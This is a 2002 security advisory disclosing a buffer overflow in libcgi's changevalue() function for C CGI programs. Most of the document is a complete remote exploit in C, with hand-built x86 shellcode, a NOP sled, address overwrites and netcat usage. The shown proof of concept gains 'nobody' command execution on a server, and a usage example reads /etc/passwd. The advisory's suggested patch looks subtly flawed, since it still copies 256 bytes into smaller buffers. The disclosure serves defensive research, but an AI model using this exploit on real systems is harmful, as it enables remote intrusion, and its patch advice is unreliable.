========================================
INetCop Security Advisory #2002-0x82-007
========================================
* Title: Remote Frame Pointer Overwrite vulnerability in LIB CGI in Language C.
0x01. Description
A simple mode of develop CGI in language C.
The libcgi package is a library written in pure C for C programmers or,
programmers with some experience in language C that want development CGI in language C.
This Project includes two libraries that has example practice to use of the same.
(libcgi, lib-mysql)
Vulnerability of problem happens in the 76 line of 'Include/libcgi.h'.
Let's examine. :-)
__
69 void changevalue(char mt[],char *pt)
70 {
71 char buffer[256]={'\0'}; // 256
72 int size=(strlen(pt)); // pt size.
73 int x,y;
74 for(x=0,y=0;x<size;x++,y++) // ??
75 {
76 buffer[y]=pt[x]; // Here !!
77 }
78 strcpy(mt,buffer); // Here's uneasy.
79 }
--
According to use environment of function, can abuse overflow.
0x02. Vulnerable Packages
Vendor site: http://www.bigadmin.kit.net/libcgi/
libcgi-0.1
-libcgi-0.1.tgz
+Slackware Linux
-libcgi-0.1.deb
+Debian Linux
libcgi-0.1.rpm
+RedHat Linux
-libcgi-0.1.tar.gz
+SunOS/Solaris
+Unix
+Other
0x03. Exploit
Good example that prove exploit is attached.
The CGI program uses changevalue().
Example CGI Program: /cgi-bin/formtest.cgi
let's examine source code.
__
7 static char Name[32],Email[32],Home[64],Sel[24],Check[16],Radio[16],Comments[256];
...
13 name=getbox("NAME"); changevalue(Name,name);
14 email=getbox("EMAIL"); changevalue(Email,email);
15 home=getbox("HOME"); changevalue(Home,home);
16 sel=getbox("SEL"); changevalue(Sel,sel);
17 check=getbox("CHECK"); changevalue(Check,check);
18 radio=getbox("RADIO"); changevalue(Radio,radio);
19 comments=getbox("COMMENTS"); changevalue(Comments,comments); // Here.
--
getbox() function, value input get to user.
lol, changevalue() is abused. :-)
This's exploit code that prove.
Through remote attack, get 'nobody' competence.
=== 0x82-libCGIfpxpl.c ===
/*
**
** Remote Frame Pointer Overwrite LIB CGI in Language C exploit
** by Xpl017Elz in INetCop(c) Security
**
** __
** Proof of concept:
**
** bash$ (./0x82-libCGIfpxpl;cat)|nc 0 80
** HTTP/1.1 200 OK
** Date: Sat, 23 Nov 2002 18:41:14 GMT
** Server: Apache/1.3.26 (Unix) PHP/4.1.2
** Connection: close
** Content-Type: text/html
**
** <html>
** <head>
** <title>LIB CGI in Language C - Testing "libcgi.h" with Url Encoding -
** by Marcos Luiz Onisto , bigadminat_private</title>
** ...
** 8282828282828282828282828282828282828282828282828282 ...
** ...
**
** Happy Exploit !
**
** Linux testsub 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown
** uid=99(nobody) gid=99(nobody) groups=99(nobody)
**
** __
** exploit by "you dong-h0un"(Xpl017Elz), <szoahcat_private>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
#include <stdio.h>
#include <getopt.h>
#define Xpl017Elz x82
#define BUFSIZE 1024
#define DCOMM "printf \"\\n\\n\\nHappy Exploit !\\n\\n\";uname -a;id"
void banrl();
int main(argc,argv)
int argc;
char *argv[];
{
#define NOPSH 0xbffffc20
unsigned long nopsh=NOPSH;
#define SHADR 0xbffffd60
unsigned long shadr=SHADR;
int whtp;
#define NULLS 0x00000000
int num_0,num_1,num_2,num_3;
int num_4,num_5;
char input_code[]= /* It's true ! */
"NAME=Xpl017Elz&EMAIL=szoahcat_private&HOME=http://x82.inetcop.org&SEL=Music&CHECK=yes&RADIO=very+happy&COMMENTS=";
char send_code[]=
"&Submit=Send\n"; /* send */
#define COMMS 235
char shc0mm[COMMS]=DCOMM;
unsigned char x0x[BUFSIZE];
char x0x2[BUFSIZE];
int x0x_0_num=NULLS;
int x0x_1_num=NULLS;
num_5=num_4=num_3=num_2=num_1=num_0=NULLS;
memset(x0x,0x00,BUFSIZE);
memset(x0x2,0x00,BUFSIZE);
while((whtp=getopt(argc,argv,"C:c:S:s:A:a:"))!=EOF)
{
switch(whtp)
{
case 'C':
case 'c':
if(strlen(optarg)>COMMS)
{
fprintf(stderr,"\n [-] String Error :-(\n\n");
exit(-1);
}
memset(shc0mm,0x00,COMMS);
strncpy(shc0mm,optarg,COMMS);
break;
case 'S':
case 's':
nopsh=strtoul(optarg,NULL,0);
break;
case 'A':
case 'a':
shadr=strtoul(optarg,NULL,0);
break;
case '?':
{
(void)banrl();
fprintf(stderr,"\n Usage: %s -opt args\n",argv[0]);
fprintf(stderr,"\n\t-s [addr] - shellcode");
fprintf(stderr,"\n\t-a [addr] - &shellcode");
fprintf(stderr,"\n\t-c [cmd] - command\n");
fprintf(stderr,"\n Example: %s -s %p -a %p -c 'cat /etc/passwd'\n\n",argv[0],nopsh,shadr);
exit(0);
}
break;
}
}
//--- make shellcode :-) ---//
/* This is dong-h0un U style */
num_1=strlen(shc0mm)+0x0c; num_2=num_1+0x01;
num_3=num_2+0x04; num_4=num_3+0x04; num_5=num_4+0x04;
x0x[num_0++]=0xeb; x0x[num_0++]=0x30; x0x[num_0++]=0x5e;
x0x[num_0++]=0x89; x0x[num_0++]=0x76; x0x[num_0++]=num_2;
x0x[num_0++]=0x31; x0x[num_0++]=0xc0; x0x[num_0++]=0x88;
x0x[num_0++]=0x46; x0x[num_0++]=0x08; x0x[num_0++]=0x88;
x0x[num_0++]=0x46; x0x[num_0++]=0x0b; x0x[num_0++]=0x88;
x0x[num_0++]=0x46; x0x[num_0++]=num_1;x0x[num_0++]=0x89;
x0x[num_0++]=0x46; x0x[num_0++]=num_5;x0x[num_0++]=0xb0;
x0x[num_0++]=0x0b; x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
x0x[num_0++]=0x09; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
x0x[num_0++]=num_3;x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
x0x[num_0++]=0x0c; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
x0x[num_0++]=num_4;x0x[num_0++]=0x89; x0x[num_0++]=0xf3;
x0x[num_0++]=0x8d; x0x[num_0++]=0x4e; x0x[num_0++]=num_2;
x0x[num_0++]=0x8d; x0x[num_0++]=0x56; x0x[num_0++]=num_5;
x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0x31;
x0x[num_0++]=0xc0; x0x[num_0++]=0xb0; x0x[num_0++]=0x01;
x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0xe8;
x0x[num_0++]=0xcb; x0x[num_0++]=0xff; x0x[num_0++]=0xff;
x0x[num_0++]=0xff; x0x[num_0++]=0x2f; x0x[num_0++]=0x2f;
x0x[num_0++]=0x62; x0x[num_0++]=0x69; x0x[num_0++]=0x6e;
x0x[num_0++]=0x2f; x0x[num_0++]=0x73; x0x[num_0++]=0x68;
x0x[num_0++]=0x20; x0x[num_0++]=0x2d; x0x[num_0++]=0x63;
x0x[num_0++]=0x20;
//--- execute formtest.cgi ---//
fprintf(stdout,"POST /cgi-bin/formtest.cgi HTTP/1.0\n");
fprintf(stdout,"Connection: close\n");
fprintf(stdout,"User-Agent: ");
//--- put shellcode ---//
for(x0x_0_num=0;x0x_0_num<BUFSIZE/2-strlen(x0x)-strlen(shc0mm);x0x_0_num++)
fprintf(stdout,"\x90");
fprintf(stdout,"%s",x0x);
fprintf(stdout,"%s",shc0mm);
//--- put &shellcode ---//
memset(x0x,0x00,BUFSIZE);
for(x0x_0_num=0;x0x_0_num<BUFSIZE/4;x0x_0_num+=4)
*(long*)&x0x[x0x_0_num]=nopsh;
fprintf(stdout,"%s\n",x0x); /* &shellcode */
//--- set type ---//
fprintf(stdout,"Host: x82 was here.\n");
fprintf(stdout,"Content-type: application/x-www-form-urlencoded\n");
//--- put &(&shellcode) ---//
memset(x0x,0x00,BUFSIZE);
for(x0x_0_num=0;x0x_0_num<260;x0x_0_num+=4)
*(long*)&x0x[x0x_0_num]=shadr; /* &(&shellcode) */
snprintf(x0x2,BUFSIZE,"%s%s%s",input_code,x0x,send_code);
//--- size, code send ---//
fprintf(stdout,"Content-length: %d\n\n",strlen(x0x2));
fprintf(stdout,"%s\n",x0x2);
/*******************************************************************
How to exploit?
Use netcat !
bash$ (./0x82-libCGIfpxpl;cat)|nc 0 80
This is frame pointer overwrite.
Must investigate all shellcode address and &shellcode address.
[nop] [shellcode] [&shellcode]
^ | ^
| | |
+----------+ +------* (-a option).
(-s option)
ex) 0x82828282: 0x90909090 0x90909090 0x90909090 0x90909090
... ... ... ... ...
0x8282bab0: 0x82828282 0x82828282 0x82828282 0x82828282
It may be work that is very interesting. :-)
bash$ (./0x82-libCGIfpxpl -s 0x82828282 -a 0x8282bab0;cat)|nc 0 80
Only, code may create instruction that you want.
Shellcode does not worry. (-c option)
bash$ (./0x82-libCGIfpxpl -c "echo 'x82 was here.';";cat)|nc 0 80
******************************************************************/
}
void banrl()
{
fprintf(stdout,"\n Remote Frame Pointer Overwrite LIB CGI in Language C exploit");
fprintf(stdout,"\n by Xpl017Elz in INetCop(c) Security\n");
}
=== eof ===
0x04. Patch
=== http.patch ===
--- libcgi.h Tue Feb 13 22:23:00 1996
+++ libcgi.patch.h Thu Nov 21 14:01:21 2002
@@ -69,7 +69,7 @@
void changevalue(char mt[],char *pt)
{
char buffer[256]={'\0'};
- int size=(strlen(pt));
+ int size=256;//(strlen(pt));
int x,y;
for(x=0,y=0;x<size;x++,y++)
{
=== eof ===
P.S: Sorry, for my poor english.
--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.
MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com
INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net
GPG public key: http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y
--
--
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